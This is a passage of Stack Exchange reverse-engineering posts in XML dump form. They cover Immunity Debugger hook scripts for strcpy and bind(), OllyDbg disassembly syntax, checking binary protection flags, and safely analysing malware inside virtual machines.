  <row Id="2499" PostTypeId="2" ParentId="2498" CreationDate="2013-07-17T19:21:46.133" Score="2" Body="&lt;p&gt;one way of achieving the end result could be by performing a trampoline and modifying the sequence of instructions similar to the logic shown below and reverting back to the original flow&lt;/p&gt;&#xA;&#xA;&lt;p&gt;get instruction set manual from intel &#xA;a ready made reference (first google hit)&lt;br&gt;&#xA;&lt;a href=&quot;http://www.rz.uni-karlsruhe.de/rz/docs/VTune/reference/&quot; rel=&quot;nofollow&quot;&gt;http://www.rz.uni-karlsruhe.de/rz/docs/VTune/reference/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Command                                  Comments&#xA;MOVSS   XMM0, DWORD PTR DS:[EAX+30]      ; FLOAT 31.00000  orginal float &#xA;MOVSS   XMM1, DWORD PTR DS:[ESI+94]      ; FLOAT 0.4300000 original flaot&#xA;MOVSS   XMM2, DWORD PTR DS:[ESI+9C]      ; FLOAT 2.000000   mov multiplier from location you chose to spare register&#xA;MULSS   XMM1, XMM2                       ; FLOAT 0.0, 0.0, 0.0, 2.000000 multiply original float by multiplier&#xA;ADDSS   XMM0, XMM1                       ; FLOAT 0.0, 0.0, 0.0, 0.8600000 add modified result to original float&#xA;MOVSS   DWORD PTR DS:[EAX+30], XMM0      ; FLOAT 0.0, 0.0, 0.0, 31.86000 return to flow&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2013-07-17T19:21:46.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2500" PostTypeId="1" CreationDate="2013-07-18T03:23:25.490" Score="5" ViewCount="1398" Body="&lt;p&gt;I've read some info &lt;a href=&quot;http://www.replaydebugging.com/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; but looks like the site concerned itself only with vmware and moreover it has abandoned the idea. How can this concept be used with existing debugging environments like IDA and gdb.If it has already been implemented, I would like links about the same. &lt;/p&gt;&#xA;" OwnerUserId="1571" LastEditorUserId="1571" LastEditDate="2013-07-18T10:16:48.510" LastActivityDate="2020-04-10T08:03:02.107" Title="What is replay debugging?" Tags="|debugging|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2502" PostTypeId="1" AcceptedAnswerId="2504" CreationDate="2013-07-20T03:23:53.260" Score="2" ViewCount="780" Body="&lt;p&gt;I am a newbie in python programming for Debugging . I wrote a code for using the function FastLogHook() in immlib but i am not able to figure out the exact problem with my code as it is not working :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt; Here is My code &lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;&#xA;import immlib&#xA;from immlib import FastLogHook&#xA;&#xA;DESC = &quot;FastLogHook Basic Demo&quot;&#xA;&#xA;def showresult(imm, a,addr):&#xA;if a[0]==addr:&#xA;    imm.Log(&quot;(0x%08x &amp;gt;&amp;gt; 0x%08x , 0x%08x)%(a[1][0], a[1][1], a[1][2]) &quot;)&#xA;    return &quot;done&quot;&#xA;&#xA;def main(args):&#xA;imm = immlib.Debugger()&#xA;Name = 'fasty'&#xA;fast = imm.getKnowledge( Name )&#xA;&#xA;functionToHook = &quot;msvcrt.strcpy&quot;&#xA;functionAddress = imm.getAddress(functionToHook)&#xA;imm.log(str(functionAddress) + 'pf')&#xA;if fast:&#xA;    hook_list = fast.getAllLog()&#xA;    imm.log(str(hook_list))&#xA;    for a in hook_list:&#xA;        ret = showresult( imm, a, functionAddress )&#xA;    return&quot;Logged: %d hook hits.&quot; % len(hook_list)&#xA;imm.pause()&#xA;fast = FastLogHook(imm)&#xA;fast.logFunction(functionAddress)&#xA;fast.logBaseDisplacement('ESP', 0x4)&#xA;fast.logBaseDisplacement('ESP', 0x8)&#xA;fast.logRegister(&quot;ESP&quot;)&#xA;fast.Hook()&#xA;imm.addKnowledge(Name, fast, force_add = 1)&#xA;&#xA;return &quot;Success!!&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am running this code in Immunity Debugger but continuously getting error . I searched , googled but due to the limitation of documentation regarding this I am unable to correct it .&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2013-07-20T12:52:04.643" Title="Use of FastLogHook function in immlib?" Tags="|python|immunity-debugger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2503" PostTypeId="2" ParentId="2500" CreationDate="2013-07-20T10:57:37.303" Score="2" Body="&lt;p&gt;Please excuse the shameless plug, but do check out UndoDB - &lt;a href=&quot;http://undo-software.com/&quot; rel=&quot;nofollow&quot;&gt;http://undo-software.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's functionally pretty similar to gdb 7's reversible debugging, but with radically improved performance. Recording slow-down is typically in the 2x-5x range, with memory usage typically around 10MB per second of recording.&lt;/p&gt;&#xA;" OwnerUserId="2489" LastActivityDate="2013-07-20T10:57:37.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2504" PostTypeId="2" ParentId="2502" CreationDate="2013-07-20T11:33:25.987" Score="3" Body="&lt;p&gt;I also just started to learn more about this topic and managed to write down the following lines of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess all my comments in the code are good enough as answer. I dont know much more then that anyway.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  ' #!/usr/bin/env python&#xA;&#xA;  import immlib&#xA;  import struct&#xA;  from immlib import STDCALLFastLogHook&#xA;&#xA;  DESC=&quot;FastLoogHook&quot;&#xA;&#xA;  def main(args):&#xA;&#xA;        &quot;&quot;&quot;&#xA;                Will hook and run its own assembly code then return to the process&#xA;                Usage: First run the script to install hook, then run it again to get results ^^&#xA;        &quot;&quot;&quot;&#xA;&#xA;        imm = immlib.Debugger()&#xA;        Name = &quot;hippie&quot;&#xA;&#xA;&#xA;        # Get stored data on second script run&#xA;        fast = imm.getKnowledge(Name)&#xA;&#xA;        if fast:&#xA;&#xA;                # Get a list of all the things we saved&#xA;                hook_list = fast.getAllLog()&#xA;&#xA;                # Log result&#xA;                imm.log(str(hook_list))&#xA;&#xA;                # unpack list&#xA;                (func_addr, (esp1, esp2)) = hook_list[0]&#xA;&#xA;                # Log argument&#xA;                imm.log(imm.readString(esp2))&#xA;&#xA;                return &quot;Parsing results done&quot;&#xA;&#xA;        # Find strcpy address   &#xA;        strcpy = imm.getAddress(&quot;msvcrt.strcpy&quot;)&#xA;&#xA;        # Building the hook&#xA;        fast = immlib.FastLogHook(imm)&#xA;&#xA;        # This function is required and returns &#xA;        # the address of the original instruction&#xA;        fast.logFunction(strcpy)&#xA;&#xA;        # Offset&#xA;        fast.logBaseDisplacement(&quot;ESP&quot;, 4)&#xA;        fast.logBaseDisplacement(&quot;ESP&quot;, 8)&#xA;&#xA;        # Set hook&#xA;        fast.Hook()&#xA;&#xA;        # Save data for later use&#xA;        imm.addKnowledge(Name, fast, force_add = 1)&#xA;&#xA;        return &quot;FastLogHook installed for strcpy&quot;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="189" LastEditDate="2013-07-20T12:52:04.643" LastActivityDate="2013-07-20T12:52:04.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2505" PostTypeId="1" AcceptedAnswerId="2506" CreationDate="2013-07-20T14:30:52.657" Score="4" ViewCount="686" Body="&lt;p&gt;So I understand that there are many assemblers such as MASM, FASM, NASM, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But which version is the disassembler in OllyDbg and Cheat Engine?&lt;/p&gt;&#xA;" OwnerUserId="2492" LastEditorUserId="80" LastEditDate="2013-07-22T23:03:30.980" LastActivityDate="2013-07-22T23:03:30.980" Title="Which version of assembly does OllyDbg disassemble binary to?" Tags="|disassembly|assembly|disassemblers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2506" PostTypeId="2" ParentId="2505" CreationDate="2013-07-20T17:26:22.897" Score="7" Body="&lt;p&gt;OllyDbg supports disassembling to MASM, IDEAL, and HLA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CDpKC.png&quot; alt=&quot;Debugging options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-07-20T17:26:22.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2507" PostTypeId="1" AcceptedAnswerId="2515" CreationDate="2013-07-20T17:54:16.717" Score="2" ViewCount="294" Body="&lt;p&gt;How do I get IP address and port number out of bind function in Server application. Can it be achieved with hooks like bphook in immunity debugger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I don't know how to unpack struct psockaddr/sockaddr or how sockaddr is saved on the stack.&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="2158" LastEditDate="2013-07-20T19:02:50.533" LastActivityDate="2013-07-22T14:01:26.237" Title="Server-side bind() function, immlib" Tags="|python|immunity-debugger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2508" PostTypeId="2" ParentId="2505" CreationDate="2013-07-20T18:39:33.313" Score="2" Body="&lt;p&gt;ollydbg 2.0 supports AT&amp;amp;T syntax also&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Command                                  Comments&#xA;01002C0C  CMPL    %ESI, %DS:notepad.fUntitled      ; Case 3 of switch notepad.1002BBE&#xA;01002C12  MOVL    %DS:notepad.g_ftOpenedAs, %EAX&#xA;01002C17  MOVL    %EAX, %DS:notepad.g_ftSaveAs&#xA;01002C1C  JNE     $notepad.01002C37&#xA;01002C1E  PUSHL   %ESI                             ; /Arg3 = 0B1F01&#xA;01002C1F  PUSHL   $OFFSET notepad.szFileName       ; |Arg2 = notepad.szFileName&#xA;01002C24  PUSHL   %DS:notepad.hwndNP               ; |Arg1 = 0&#xA;01002C2A  CALL    $notepad.SaveFile                ; \notepad.SaveFile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2013-07-20T18:39:33.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2510" PostTypeId="1" AcceptedAnswerId="2511" CreationDate="2013-07-20T23:31:00.197" Score="3" ViewCount="5694" Body="&lt;p&gt;How to check if DEP, ASLR and SafeSEH defense mechanism are enabled or not in a program using &lt;code&gt;immlib&lt;/code&gt; library of Python in Immunity Debugger ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I am looking for small code snippet for each.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="53" LastEditDate="2013-09-03T19:19:57.797" LastActivityDate="2013-09-03T19:19:57.797" Title="Check DEP , ASLR and SafeSEH enabled or not , immlib" Tags="|debuggers|python|immunity-debugger|seh|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2511" PostTypeId="2" ParentId="2510" CreationDate="2013-07-21T01:21:36.633" Score="5" Body="&lt;p&gt;You need to check the PE headers of the modules, the offset is dependent on the OS version (the settings can be different for the executable and each loaded DLL). You can look at the mona.py script for examples on how to do that. The script is very large but you should find what you are looking for in the class MnModule, for example the flag for ALSR is checked at line 1726. (Note: in this script dbglib is an abstraction class to support both Immunity Debugger and WinDBG, it maps directly to immlib).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script source : &lt;a href=&quot;http://redmine.corelan.be/projects/mona/repository/entry/mona.py&quot;&gt;http://redmine.corelan.be/projects/mona/repository/entry/mona.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-07-21T01:21:36.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2512" PostTypeId="1" CreationDate="2013-07-21T18:33:38.353" Score="0" ViewCount="434" Body="&lt;p&gt;What should I look for when building a malware lab on a budget?  $800 USD or less. I'm talking about hardware and virtualization capabilities, or alternatives (e.g. FOG Server).  Not user programs that load the actual malware for analysis (Olly, IDA, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ESXi seems popular with virtualization, but does that have any advantages over a malware lab with VirtualBox, aside from performance?&lt;/p&gt;&#xA;" OwnerUserId="2192" LastEditorUserId="189" LastEditDate="2013-07-25T02:00:04.970" LastActivityDate="2013-07-25T02:00:04.970" Title="What should I look for when building a malware lab on a budget?" Tags="|malware|" AnswerCount="1" CommentCount="2" ClosedDate="2013-07-23T14:44:20.653" ContentLicense="CC BY-SA 3.0" />
  <row Id="2513" PostTypeId="1" AcceptedAnswerId="2519" CreationDate="2013-07-22T00:48:28.517" Score="13" ViewCount="2044" Body="&lt;p&gt;Once I perform static analysis on a malware sample, I next run it in a virtual machine.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does this give the malware a chance to spread to the real machine?&lt;/li&gt;&#xA;&lt;li&gt;Does this give the malware a chance to spread across networks?&lt;/li&gt;&#xA;&lt;li&gt;What steps/tips can I follow to prevent the malware from spreading from the VM?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I use VMwareW.&lt;/p&gt;&#xA;" OwnerUserId="2463" LastEditorUserId="1562" LastEditDate="2013-07-22T17:43:29.260" LastActivityDate="2013-07-27T07:22:25.303" Title="Malware in virtual machines" Tags="|malware|virtual-machines|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2514" PostTypeId="2" ParentId="2513" CreationDate="2013-07-22T03:09:56.080" Score="4" Body="&lt;p&gt;if youre using VMWare I suggest using a host only connection. Typically when you create a VM it will use NAT or bridged, sharing the host computers IP and/or network adapter. Using Host-Only lets the VM only be locally connected to that particular adapter with no internet connectivity(It's assigned its own local IP and uses its own Gateway)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically when running malware live you want to go with this setup. Your other solutions are using sandboxing software such as cuckoo sandbox or sandboxie. They have the added ability to log what the malware is doing and keeping it sandboxed ( It &lt;em&gt;usually&lt;/em&gt; doesnt touch system files or infects the system in any way)&lt;/p&gt;&#xA;" OwnerUserId="1876" LastActivityDate="2013-07-22T03:09:56.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2515" PostTypeId="2" ParentId="2507" CreationDate="2013-07-22T05:44:30.853" Score="6" Body="&lt;p&gt;I will assume you are talking about Windows Sockets and IPv4, since you have not mentioned otherwise. &lt;code&gt;sockaddr&lt;/code&gt; is very well described in &lt;a href=&quot;https://i.stack.imgur.com/8cNC8.png&quot; rel=&quot;noreferrer&quot;&gt;MSDN&lt;/a&gt;. It is defined as for IPv4 as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct sockaddr {&#xA;        ushort  sa_family;&#xA;        char    sa_data[14];&#xA;};&#xA;&#xA;struct sockaddr_in {&#xA;        short   sin_family;&#xA;        u_short sin_port;&#xA;        struct  in_addr sin_addr;&#xA;        char    sin_zero[8];&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will use simple server application for demonstration purposes. Firstly let's set breakpoint on &lt;code&gt;bind()&lt;/code&gt; and see what stack looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8cNC8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;pSockAddr&lt;/code&gt; is a pointer to &lt;code&gt;sockaddr&lt;/code&gt; structure is pushed on to stack as a second argument to the function. Let's go a little further and examine the &lt;code&gt;sockaddr&lt;/code&gt; at &lt;code&gt;0x0031F840&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0hdv7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One very important thing to note is that &lt;code&gt;sin_port&lt;/code&gt; and &lt;code&gt;sin_addr&lt;/code&gt; are stored using &lt;a href=&quot;http://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;big-endian&lt;/em&gt;&lt;/a&gt; byte order, meaning the most significant part stored first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's jump in and get &lt;a href=&quot;https://www.corelan.be/index.php/2010/01/26/starting-to-write-immunity-debugger-pycommands-my-cheatsheet/&quot; rel=&quot;noreferrer&quot;&gt;pyCommand&lt;/a&gt; created in order to automate it with &lt;a href=&quot;http://www.immunityinc.com/products-immdbg.shtml&quot; rel=&quot;noreferrer&quot;&gt;Immunity Debugger&lt;/a&gt;. For this purpose I will use &lt;code&gt;BpHook&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# bindtrace PyCommand by PSS &#xA;&#xA;from immlib import *&#xA;&#xA;NAME = &quot;bindtrace&quot;&#xA;&#xA;class BindBpHook(BpHook):&#xA;    def __init__(self):&#xA;        BpHook.__init__(self)&#xA;&#xA;    def run(self, regs):&#xA;        imm = Debugger()&#xA;&#xA;        imm.log(&quot; &quot;)&#xA;        imm.log(&quot;Bind() called:&quot;)&#xA;&#xA;        # Read sockaddr structure address&#xA;        sockaddr = imm.readLong(regs[&quot;ESP&quot;] + 8)        &#xA;&#xA;        # Read 2 bytes of sin_family member&#xA;        sockaddr_sin_family = imm.readShort(sockaddr)&#xA;&#xA;        # Read 2 bytes of sin_port and calculate port number &#xA;        # since it is stored as big-endian&#xA;        portHiByte = ord(imm.readMemory(sockaddr + 2, 1))&#xA;        portLowByte = ord(imm.readMemory(sockaddr + 3, 1))&#xA;        sockaddr_sin_port = portHiByte * 256 + portLowByte&#xA;&#xA;        # Read 4 bytes of sin_addr since it is stored as big-endian&#xA;        ipFirstByte = ord(imm.readMemory(sockaddr + 4, 1))&#xA;        ipSecondByte = ord(imm.readMemory(sockaddr + 5, 1))&#xA;        ipThirdByte = ord(imm.readMemory(sockaddr + 6, 1))&#xA;        ipForthByte = ord(imm.readMemory(sockaddr + 7, 1))&#xA;&#xA;        # Print results to Log View window&#xA;        imm.log(&quot;---&amp;gt; Pointer to sockaddr structure: 0x%08x&quot; % sockaddr)&#xA;        imm.log(&quot;---&amp;gt; sockaddr.sin_family: %d&quot; % sockaddr_sin_family)&#xA;        imm.log(&quot;---&amp;gt; sockaddr.sin_port: %d&quot; % sockaddr_sin_port)&#xA;        imm.log(&quot;---&amp;gt; sockaddr.sin_addr: %d.%d.%d.%d&quot; % \&#xA;                        (ipFirstByte,ipSecondByte,ipThirdByte,ipForthByte))&#xA;        imm.log(&quot; &quot;)&#xA;        imm.log(&quot;Press F9 to resume&quot;)&#xA;&#xA;&#xA;def main(args):&#xA;&#xA;    imm = Debugger()&#xA;    functionToHook = &quot;ws2_32.bind&quot;&#xA;&#xA;    # Find address of the function to hook&#xA;    functionAddress = imm.getAddress(functionToHook)&#xA;&#xA;    # Create and install our hook&#xA;    myHook = BindBpHook()&#xA;    myHook.add(functionToHook, functionAddress)&#xA;&#xA;    imm.log(&quot;Hook for %s installed at: 0x%08x&quot; % (functionToHook, functionAddress))&#xA;&#xA;    return &quot;[*] Hook installed.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Installation of the script is very simple. All pyCommands are stored in ./pyCommands folder of Immunity Debugger installation. I named my file &lt;code&gt;bindtrace.py&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thereafter, we load our executable into Immunity Debugger. Debugger will break automatically at entry point. Right after that we invoke the above pyCommand by typing &lt;code&gt;!bindtrace&lt;/code&gt;, and run the executable by pressing &lt;kbd&gt;F9&lt;/kbd&gt;. As soon as breakpoint hits, we get the result in Log windows, which can be accessed through &lt;kbd&gt;Alt + L&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7j7pm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-07-22T14:01:26.237" LastActivityDate="2013-07-22T14:01:26.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2516" PostTypeId="2" ParentId="2513" CreationDate="2013-07-22T06:04:29.010" Score="3" Body="&lt;p&gt;Use the latest and greatest version of VMWare. Monitor your real system. :)&#xA;Why? well I've seen malware that 'breaks' out Vmware. How? Ring -1 exploitation. It's not something you'll commonly seen. But it &lt;strong&gt;can&lt;/strong&gt; happen, will it with your sample &lt;em&gt;unlikely&lt;/em&gt; but, it might.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, monitor your own system (ProcMon). Don't install VMware tools (easier detected by the sample and it might just be dormant). And try a number of VirtualSystems, Qemu, VirtualBox the works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun :)&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-07-22T06:04:29.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2517" PostTypeId="2" ParentId="2513" CreationDate="2013-07-22T06:12:28.870" Score="4" Body="&lt;p&gt;If the VM software has a bug a malware can also spread out of the VM and infect the host computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the possibility that the underlying processor (if you are using hardware virtualization) has a bug which lets the malware escape the VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a network connection it is possible that the malware can spread over the network. So to prevent this you have to choose a setup which may never have a network connection. Even disabling the network in the guest is not enough. The VM has to be setup so that no network connection is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent the spreading of malware you have to disconnect your testing device (the host) from the network and set it up for every malware newly. Also be aware that malware may use the MBR or the BIOS to nest into your computer.&lt;/p&gt;&#xA;" OwnerUserId="1490" LastActivityDate="2013-07-22T06:12:28.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2518" PostTypeId="2" ParentId="2512" CreationDate="2013-07-22T06:23:50.350" Score="2" Body="&lt;p&gt;ESXi can be useful if you want to try the sample on a number of systems. And let it run for a while. Due to TimeLocks, timebomb etc etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd go for a good Laptop(16GB RAM sort of thing) and Vmware workstation / virtualbox.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-07-22T06:23:50.350" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2519" PostTypeId="2" ParentId="2513" CreationDate="2013-07-22T14:23:50.860" Score="12" Body="&lt;p&gt;The malware can propagate from the VM to the host in several circumstances:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If there's a bug in the VM software. That's not very common, but it's possible.&lt;/li&gt;&#xA;&lt;li&gt;If there's a bug in the host OS. A bug that specifically allows malware to break out of a VM is unlikely but again possible.&lt;/li&gt;&#xA;&lt;li&gt;If there's a bug in the processor. That's even more unlikely but still not mathematically impossible.&lt;/li&gt;&#xA;&lt;li&gt;If there's a way for the malware to exchange information with the host. This can be over the network; in this respect, there's no difference between using a VM and using a separate physical machine, so you need to firewall the VM appropriately (allow only the bare minimum, don't do anything that might allow the server to hijack the client such as SSH with X forwarding). Another vector is via the VM tools such as file and clipboard sharing: the software running in the VM might read and write shared files, access the host clipboard, etc. So when running malware in a VM you should disable all these convenience tools (disable them in the VM configuration, it's not enough to refrain from installing the guest software since the malware could come with its own).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For more on that topic, read &lt;a href=&quot;https://security.stackexchange.com/questions/9011/does-a-virtual-machine-stop-malware-from-doing-harm&quot;&gt;https://security.stackexchange.com/questions/9011/does-a-virtual-machine-stop-malware-from-doing-harm&lt;/a&gt; and &lt;a href=&quot;https://security.stackexchange.com/questions/12546/is-it-safe-to-install-malware-in-a-vm&quot;&gt;https://security.stackexchange.com/questions/12546/is-it-safe-to-install-malware-in-a-vm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, most malware can be analyzed safely in a properly configured virtual machine. Disable all guest features and don't connect to the VM with any protocol that allows the server to influence the client. Firewall the VM as if it was hostile (it is); you should use a host-only network so that you can easily control what goes there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's another reason why you might prefer a physical machine to a virtual machine. There's quite a bit of malware that attempts to detect whether it's being analyzed, and doesn't behave maliciously when it is. Obvious, common things that malware tries to detect is signs that it's running under a debugger: check if it's being ptraced (or the Windows equivalent), check for sudden pauses in the execution, … And some malware looks for telltale signs of a VM, such as drivers for hardware that common VM software emulates, or CPU oddities that are inexistent or rare outside emulated CPUs. This isn't to say that you cannot analyze malware in a VM: sometimes you can, sometimes you can't, it depends on the malware. If you start in a VM and find nothing you need to be prepared to move to a physical machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are risks with a physical machine too: malware could attempt to &lt;a href=&quot;https://security.stackexchange.com/questions/7204/is-making-a-clean-install-enough-to-remove-potential-malware&quot;&gt;plant itself&lt;/a&gt; into one of the &lt;a href=&quot;https://security.stackexchange.com/questions/25473/where-can-a-virus-or-other-malware-hide-on-common-pc-and-mac-hardware&quot;&gt;many pieces of firmware&lt;/a&gt; on the motherboard and &lt;a href=&quot;http://semiaccurate.com/2009/07/31/apple-keyboard-firmware-hack-demonstrated/&quot; rel=&quot;nofollow noreferrer&quot;&gt;peripherals&lt;/a&gt;. Toolkits for this are beginning to emerge, such as &lt;a href=&quot;http://www.toucan-system.com/research/blackhat2012_brossard_hardware_backdooring.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rakshasa&lt;/a&gt; and &lt;a href=&quot;https://security.stackexchange.com/questions/7181/does-the-mebromi-bios-flashing-rootkit-mean-apts-for-personal-computers-are-here&quot;&gt;Mebromi&lt;/a&gt;. So if you analyze some sophisticated malware on a physical machine, don't trust this physical machine any more, ever.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="-1" LastEditDate="2017-03-17T10:46:10.773" LastActivityDate="2013-07-22T14:23:50.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2520" PostTypeId="2" ParentId="2513" CreationDate="2013-07-22T19:25:06.860" Score="5" Body="&lt;p&gt;There were a lot of saying in replays, but I'd like to stress on some answers from the practical point of view:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;network connection&lt;/strong&gt; - a while ago I would agree that simply disconnecting the vm from the network will solve the problem of spreading through the network. Today, there are more and more malwares that will work only when the connection to CnC has been established or at least it can ping to the outer world, so I'd suggest that you should think about more serious solution than just disconnecting the cable:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;setup another vm which will function as a gateway, this will also help you to log the traffic&lt;/li&gt;&#xA;&lt;li&gt;use network simulation software like iNetSim which can help in some cases when you need to fake the result returned by the CnC&lt;/li&gt;&#xA;&lt;li&gt;setup firewall and try not to use network shares or at least make them read only &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;VM setup&lt;/strong&gt; - not installing vm tools is of cause a way to hide vm from the malware but it is really hard to work on such vm. The very least that you should do, is setup the VM in a more stealthy way. I've found a couple of links that may help with this, but there are many more other solutions:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.unibia.com/unibianet/systems-networking/bypassing-virtual-machine-detection-vmware-workstation&quot; rel=&quot;nofollow&quot;&gt;Bypassing Virtual Machine Detection on VMWare Workstation&lt;/a&gt; - you can find here vmware configuration options for stealthier work and some other stuff.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.simonganiere.ch/2012/11/20/malware-anti-vm-technics/&quot; rel=&quot;nofollow&quot;&gt;Malware anti-VM technics&lt;/a&gt; - some explanations about what helps the malware to detect vm&lt;/li&gt;&#xA;&lt;li&gt;the next step is to develop different proprietary tools that can help you with research and more advanced anti-vm techniques.&lt;/li&gt;&#xA;&lt;li&gt;try to setup your environment is such a way, so that the host and the guest are different OSs - host is linux/unix/osx and the guest is windows. This will further minimize the risk of host infection.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;physical machines&lt;/strong&gt; - from practical point of view the use of physical machines is pretty annoying and consumes time and demands much accuracy especially when dealing with unknown malwares and I'm not event talking about the restore overhead after the machines were infected.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this will help :)&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2013-07-27T07:22:25.303" LastActivityDate="2013-07-27T07:22:25.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2521" PostTypeId="1" AcceptedAnswerId="2525" CreationDate="2013-07-22T21:20:59.370" Score="7" ViewCount="4566" Body="&lt;p&gt;I compiled some [relatively complex] Java code into a .class file, then used jad to decompile it back into java. Of course, the code was obfuscated, which was to be expected. However, given that I had the original code, I thought I'd be able to look through the decompiled code fairly easily. However, I noticed differences in the code, such as where certain variables were defined (including differences of scope).&lt;/p&gt;&#xA;&lt;p&gt;Is there any main reason for this? I imagine it's one of those things that just happen in decompilation of code, but I'm more curious about what factors cause the change (e.g. complexity of code, whether it refers to other files, etc.).&lt;/p&gt;&#xA;&lt;p&gt;Could someone provide me with a good explanation on what factors cause the differences in the code before and 